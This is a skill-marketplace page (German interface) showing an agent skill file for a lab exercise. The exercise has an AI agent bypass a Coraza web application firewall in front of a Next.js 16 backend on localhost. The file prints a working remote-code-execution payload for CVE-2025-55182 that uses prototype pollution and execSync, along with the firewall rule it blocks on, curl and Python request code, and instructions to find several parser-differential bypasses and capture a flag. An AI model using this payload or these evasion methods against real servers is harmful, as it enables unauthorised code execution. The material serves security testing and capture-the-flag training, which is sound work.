Skip to main content

waf-bypass-hunter

Bypass a Coraza WAF protecting a vulnerable Next.js 16 backend. Analyze parser differentials between Go (WAF) and Node.js (backend) to find bypasses.

Quellinformationen

Repository
zebbern/termstack
Letzte Quellaktivität
10. April 2026 um 22:53
Erkannte Sprache von SKILL.md
Englisch
Sterne
4
Forks
3

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

Datei-Explorer
2 Dateien

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
waf-bypass-hunter
description
Bypass a Coraza WAF protecting a vulnerable Next.js 16 backend. Analyze parser differentials between Go (WAF) and Node.js (backend) to find bypasses.
compatibility
Environment running on localhost:8009 (executor), localhost:9091 (WAF)
metadata
{"category":"security","difficulty":"hard"}
tags
["security","waf","bypass","coraza","firewall"]
triggers
["waf bypass","firewall bypass","coraza bypass","waf evasion"]
# WAF Bypass Hunter ## Objective Bypass the WAF to execute the CVE-2025-55182 exploit payload and capture the flag. ## Architecture ``` ┌─────────┐ ┌─────────────┐ ┌─────────────────┐ │ Agent │───▶│ Coraza WAF │───▶│ Next.js 16.0.6 │ │ │ │ (Go) │ │ (Node.js) │ │ │ │ Port: 9091 │ │ Port: 3000 │ └─────────┘ └─────────────┘ └─────────────────┘ ``` ## The Exploit (CVE-2025-55182) This payload triggers RCE in Next.js 16 via prototype pollution: ```http POST / HTTP/1.1 Host: localhost:9091 Next-Action: x Content-Type: multipart/form-data; boundary=yyy Content-Length: 489 --yyy Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag.txt').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}} --yyy Content-Disposition: form-data; name="1" "$@0" --yyy-- ``` **This payload is BLOCKED by the WAF** because it contains: - `:constructor` - `__proto__` ## Your Goal Find **as many WAF bypasses as possible**. There are approximately **5 different bypass techniques** that work. For each bypass, deliver the payload such that: 1. **Bypasses WAF detection** - WAF doesn't see the blocked patterns 2. **Backend parses correctly** - Next.js/Busboy decodes and processes it 3. **Triggers the exploit** - RCE executes and returns the flag Each bypass exploits a different parser differential between Go and Node.js. ## Testing Method ### Quick PoC Testing (Direct to WAF) Use curl or Python directly against the WAF at `http://localhost:9091/`: ```bash curl --path-as-is -i -s -k -X POST \ -H 'Host: localhost' \ -H 'Next-Action: x' \ -H 'Content-Type: multipart/form-data; boundary=yyy' \ --data-binary $'--yyy\r\nContent-Disposition: form-data; name="0"\r\n\r\nYOUR_PAYLOAD_HERE\r\n--yyy--' \ 'http://localhost:9091/' ``` ```python import requests resp = requests.post( "http://localhost:9091/", headers={ "Content-Type": "multipart/form-data; boundary=yyy", "Next-Action": "x" }, data=payload ) print(resp.status_code) print(resp.headers.get("X-Action-Redirect")) # Flag is here! print(resp.text) ``` **Note:** The flag appears in the `X-Action-Redirect` response header, not the body! ### Debugging (Sandbox Executor) Use the executor **only when you need WAF logs** to understand why a request was blocked: ```bash curl -X POST http://localhost:8009/execute \ -H "Content-Type: application/json" \ -d '{"code": "import requests\nresp = requests.post(\"http://localhost:9091/\", ...)\nprint(resp.status_code)"}' ``` **Response includes WAF logs:** ```json { "stdout": "403", "stderr": "", "waf_logs": ["[BLOCKED] Rule 1008: Prototype Pollution detected"], "execution_time_ms": 123 } ``` ## Example: Blocked Request ```python import requests payload = '''--yyy Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","_response":{"_formData":{"get":"$1:constructor:constructor"}}} --yyy--''' resp = requests.post( "http://waf:9090/", headers={ "Content-Type": "multipart/form-data; boundary=yyy", "Next-Action": "x" }, data=payload ) print(resp.status_code) # 403 - Blocked by WAF print(resp.text) ``` ## Available Source Code Study parser implementations in `sources/`: - `sources/coraza/internal/bodyprocessors/` - WAF's parser (Go) - `sources/busboy/lib/` - Backend's parser (Node.js) - `sources/nextjs/packages/next/src/server/` - Next.js server action handling ## Success Criteria **IMPORTANT: A bypass is ONLY valid if the flag is successfully read.** Hypothetical or theoretical bypasses do NOT count. You must: 1. Execute the payload against the WAF 2. Receive the flag in the response 3. Show the captured flag as proof For each **confirmed** bypass: - Document the technique used - Show the exact working payload - Show the captured flag The flag may appear in: - Response headers (e.g., `X-Action-Redirect`) - Response body - Error messages The flag format is `HACKTRON{...}` ## WAF Rules (what you're bypassing) ```conf # Block prototype pollution patterns SecRule REQUEST_BODY|ARGS "@rx (?:__proto__|:constructor)" "id:1008,deny" ``` ## Approach 1. Analyze source code in `sources/` 2. Identify where Go and Node.js parse differently 3. Craft payload that exploits the differential 4. Test PoC directly against WAF at `localhost:9091` 5. If blocked, use executor to get WAF logs and understand why 6. Iterate until flag is captured 7. If a technique doesn't work, **move on** - read more code, look for alternative differentials 8. **Keep hunting** - find more bypasses using different techniques!
Auf GitHub ansehen